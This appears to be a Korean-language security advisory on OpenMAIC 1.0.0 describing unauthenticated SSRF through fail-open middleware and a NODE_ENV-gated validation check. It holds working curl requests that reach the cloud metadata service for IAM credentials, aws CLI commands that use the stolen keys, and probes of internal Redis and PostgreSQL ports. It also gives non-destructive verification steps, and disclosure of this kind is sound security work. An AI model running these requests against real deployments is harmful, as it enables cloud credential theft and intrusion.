
OpenMAIC 1.0.0: Fail-Open 미들웨어 및 환경 게이트 검증 우회를 통한 클라우드 메타데이터 서비스로의 인증되지 않은 아웃바운드 SSRF
검증됨. OpenMAIC의 인증 미들웨어와 아웃바운드 프로바이더 요청 계층에 두 단계로 구성된 익스플로잇 체인이 존재하며, 이를 통해 비인증 원격 공격자가 자격 증명을 전혀 보유하지 않고도 애플리케이션 서버로 하여금 임의의 아웃바운드 HTTP 요청을 발생시키도록 할 수 있다 - 여기에는 169.254.169.254의 클라우드 인스턴스 메타데이터 서비스(IMDS)에 대한 요청도 포함된다.
1단계: middleware.ts의 Next.js Edge 미들웨어는 ACCESS_CODE 환경 변수가 없을 때 fail-open 태세를 구현한다. 기본 .env.example 구성에서 ACCESS_CODE는 설정되지 않으며, 이는 70개의 모든 API 라우트가 전역적으로 비인증 상태이고 모든 외부 클라이언트가 접근 가능함을 의미한다.
2단계: 다섯 개의 서로 다른 API 라우트 핸들러에 걸쳐, 클라이언트가 제공한 프로바이더 기본 URL(x-base-url 또는 baseUrl 요청 파라미터를 통해)은 일 때만 를 통과한다. , , 또는 설정되지 않은 환경에서는 SSRF 가드가 완전히 건너뛰어지고 애플리케이션이 공격자가 제어하는 URL로 아웃바운드 를 발생시킨다.
process.env.NODE_ENV === 'production'validateUrlForSSRF()developmentstagingpreviewfetch()연결하면: 비인증 공격자가 임의의 생성 엔드포인트에 x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/를 제공하면, 서버가 클라우드 IAM 역할 자격 증명을 가져와 응답에 반환한다. 사전 계정도, 토큰도, 로컬 거점도 필요하지 않다.
미들웨어는 모든 API 라우트에 대한 유일한 인증 게이트이다. ACCESS_CODE가 설정되지 않은 경우 - .env.example에 따른 기본 상태 - 모든 라우트에 대한 모든 요청이 즉시 통과한다. 대체 메커니즘도, 경고 출력도, 대체 인증 검사도 없다. fail-open은 무조건적이고 조용하다. 이는 생성, 영속성, 미디어 프록시, 추출, AI 실행 라우트를 포함한 70개의 API 엔드포인트를 모든 비인증 호출자에게 노출시킨다.
lib/server/ssrf-guard.ts의 validateUrlForSSRF 함수는 이미 ALLOW_LOCAL_NETWORKS를 통해 환경별 예외를 올바르게 처리한다. 각 라우트 핸들러의 NODE_ENV 게이트는 개발 모드 편의 기능으로서 완전히 불필요하지만, 보안 경계로서는 치명적이다: 이는 NODE_ENV가 명시적으로 'production'으로 설정되지 않은 staging, preview, CI/CD 및 자체 호스팅 배포 전반에서 SSRF 검증을 전역적으로 비활성화한다.
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
예상 응답 (IMDS 패스스루):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
예상 응답:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# Redis on default port - RESP protocol response returned in API error
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# PostgreSQL on default port
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| 단계 | 단계 | 효과 |
|---|---|---|
| 1. 비인증 진입 | 원격 클라이언트가 쿠키나 토큰 없이 /api/generate/image로 HTTP 요청 전송 | middleware.ts가 !process.env.ACCESS_CODE를 평가하고 NextResponse.next()를 호출 |
| 2. 헤더 수집 | 공격자가 헤더에 대상 내부 주소 지정: x-base-url: http://169.254.169.254/... | 라우트 핸들러가 요청 헤더에서 clientBaseUrl 추출 |
| 3. SSRF 우회 | 서버 환경에 NODE_ENV !== 'production' (예: staging 또는 컨테이너 기본값) | 핸들러가 process.env.NODE_ENV === 'production'을 false로 평가하고 validateUrlForSSRF()를 건너뜀 |
| 4. 아웃바운드 요청 싱크 | 서비스 클라이언트가 공격자 제공 기본 URL로 초기화되고 요청 실행 | 서버가 http://169.254.169.254/로 아웃바운드 fetch() 수행 |
| 5. 메타데이터 유출 | 클라우드 인스턴스 메타데이터 서비스가 메타데이터 또는 IAM 보안 자격 증명으로 응답 | 서버가 HTTP 응답 본문을 API 반환 페이로드 또는 오류 메시지에 포함 |
| 6. 클라우드 피벗 | 공격자가 임시 AWS/GCP/Azure 보안 자격 증명 추출 | 공격자가 클라우드 자격 증명을 외부에서 사용하여 클라우드 리소스 및 데이터스토어에 접근 |
전제 조건:
ACCESS_CODE가 설정되지 않은 환경에 배포됨 (기본 구성).NODE_ENV가 엄격하게 'production'으로 설정되지 않음 (예: staging, dev, 자체 호스팅 또는 잘못 구성된 컨테이너).악성 페이로드를 배포하지 않고 도달 가능성을 확인하고 보안 방어를 검증하려면:
process.env.ACCESS_CODE가 undefined일 때, middleware.ts는 NextResponse.next()를 반환한다. 인증 헤더 없이 보호된 엔드포인트(예: POST /api/generate/image)로 HTTP 요청을 보내면 401 Access Code Required 거부가 아닌 엔드포인트 수준 응답(예: 프로바이더 구성에 대한 400/401)이 반환된다.NODE_ENV="staging" 또는 NODE_ENV="development"로 validateUrlForSSRF가 호출되는지 검사한다. if (clientBaseUrl && process.env.NODE_ENV === 'production') 때문에 실행이 검증 블록을 건너뛰고 지정된 기본 URL로 네트워크 연결을 시도한다.NODE_ENV='development'를 설정하고 루프백 URL http://127.0.0.1:9999를 제공하는 모의 서버 또는 테스트 러너는 요청이 INVALID_URL (403)로 거부되는지 또는 네트워크 전송으로 진행이 허용되는지 검증한다. 패치되지 않은 상태에서는 요청이 소켓 연결을 시도하고, 패치된 상태에서는 즉시 HTTP 403으로 거부된다.